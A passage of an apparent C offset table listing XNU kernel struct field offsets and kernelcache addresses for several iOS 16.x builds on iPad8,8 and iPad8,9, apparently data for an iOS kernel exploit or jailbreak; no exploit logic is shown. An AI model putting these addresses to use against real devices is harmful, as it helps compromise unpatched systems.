.pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0x0,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0x0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a2b9178,\n        .kernelcache__gPhysBase = 0xfffffff007853d48,\n        .kernelcache__gPhysSize = 0xfffffff007853d48 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff007851f28,\n        .kernelcache__perfmon_devices = 0xfffffff00a2f4380,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ec7398,\n        .kernelcache__ptov_table = 0xfffffff007807288,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a2f3800,\n        .kernelcache__vm_pages = 0xfffffff0078040c0,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff007806248,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a2f37f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007f19a20,\n    },\n\n    //16.4\n        {\n        .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:48 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20E246\",\n        .device_id = \"iPad8,8\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a381208,\n        .kernelcache__gPhysBase = 0xfffffff00792ffa0,\n        .kernelcache__gPhysSize = 0xfffffff00792ffa0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00792e178,\n        .kernelcache__perfmon_devices = 0xfffffff00a3bf500,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ee9a88,\n        .kernelcache__ptov_table = 0xfffffff0078e3160,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a3be990,\n        .kernelcache__vm_pages = 0xfffffff0078dfea8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078e2110,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3be988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f3863c,\n    },\n\n    //16.4.1\n        {\n        .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:48 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20E252\",\n        .device_id = \"iPad8,8\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a381208,\n        .kernelcache__gPhysBase = 0xfffffff00792ffa0,\n        .kernelcache__gPhysSize = 0xfffffff00792ffa0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00792e178,\n        .kernelcache__perfmon_devices = 0xfffffff00a3bf500,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ee9a88,\n        .kernelcache__ptov_table = 0xfffffff0078e3160,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a3be990,\n        .kernelcache__vm_pages = 0xfffffff0078dfea8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078e2110,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3be988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f3863c,\n    },\n\n    //16.5\n        {\n        .kern_version = \"Darwin Kernel Version 22.5.0: Mon Apr 24 21:10:51 PDT 2023; root:xnu-8796.122.4~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20F66\",\n        .device_id = \"iPad8,8\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a389288,\n        .kernelcache__gPhysBase = 0xfffffff0079340e0,\n        .kernelcache__gPhysSize = 0xfffffff0079340e0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff0079322b8,\n        .kernelcache__perfmon_devices = 0xfffffff00a3c7500,\n        .kernelcache__perfmon_dev_open = 0xfffffff007eedc8c,\n        .kernelcache__ptov_table = 0xfffffff0078e7160,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a3c6990,\n        .kernelcache__vm_pages = 0xfffffff0078e3ea8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078e6110,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3c6988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f3cad8,\n    },\n\n    //16.6b1\n        {\n        .kern_version = \"Darwin Kernel Version 22.6.0: Tue May  9 06:18:00 PDT 2023; root:xnu-8796.140.12.502.1~12/RELEASE_ARM64_T8020\",\n        .build_version = \"20G5026e\",\n        .device_id = \"iPad8,8\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a419ab0,\n        .kernelcache__gPhysBase = 0xfffffff007944288,\n        .kernelcache__gPhysSize = 0xfffffff007944288 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff007942440,\n        .kernelcache__perfmon_devices = 0xfffffff00a459530,\n        .kernelcache__perfmon_dev_open = 0xfffffff007f0a434,\n        .kernelcache__ptov_table = 0xfffffff0078f79a0,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a458910,\n        .kernelcache__vm_pages = 0xfffffff0078f40f8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078f6950,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a458908,\n        .kernelcache__vn_kqfilter = 0xfffffff007f58c44,\n    },\n\n    // iPad8,9 16.2\n{\n        .kern_version = \"Darwin Kernel Version 22.1.0: Thu Oct  6 19:33:53 PDT 2022; root:xnu-8792.42.7~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20C65\",\n        .device_id = \"iPad8,9\",\n        .fileglob__fg_ops = 0x0,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0x0,\n        .proc__object_size = 0x530,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0x0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a2a9150,\n        .kernelcache__gPhysBase = 0xfffffff00784f9d8,\n        .kernelcache__gPhysSize = 0xfffffff00784f9d8 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00784dbc0,\n        .kernelcache__perfmon_devices = 0xfffffff00a2e4300,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ec279c,\n        .kernelcache__ptov_table = 0xfffffff007803890,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a2e3780,\n        .kernelcache__vm_pages = 0xfffffff0078006c8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff007802850,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a2e3778,\n        .kernelcache__vn_kqfilter = 0xfffffff007f14d00,\n    },\n\n    //16.3\n       {\n        .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:24:51 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20D47\",\n        .device_id = \"iPad8,9\",\n        .fileglob__fg_ops = 0x0,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0x0,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0x0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a2b9178,\n        .kernelcache__gPhysBase = 0xfffffff007853d48,\n        .kernelcache__gPhysSize = 0xfffffff007853d48 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff007851f28,\n        .kernelcache__perfmon_devices = 0xfffffff00a2f4380,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ec7398,\n        .kernelcache__ptov_table = 0xfffffff007807288,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a2f3800,\n        .kernelcache__vm_pages = 0xfffffff0078040c0,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff007806248,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a2f37f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007f19a20,\n    },\n\n    //16.3.1\n       {\n        .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:24:51 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20D67\",\n        .device_id = \"iPad8,9\",\n        .fileglob__fg_ops = 0x0,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0x0,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0x0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a2b9178,\n        .kernelcache__gPhysBase = 0xfffffff007853d48,\n        .kernelcache__gPhysSize = 0xfffffff007853d48 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff007851f28,\n        .kernelcache__perfmon_devices = 0xfffffff00a2f4380,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ec7398,\n        .kernelcache__ptov_table = 0xfffffff007807288,\n        .kernelcache__vm_first_phys_ppnum = 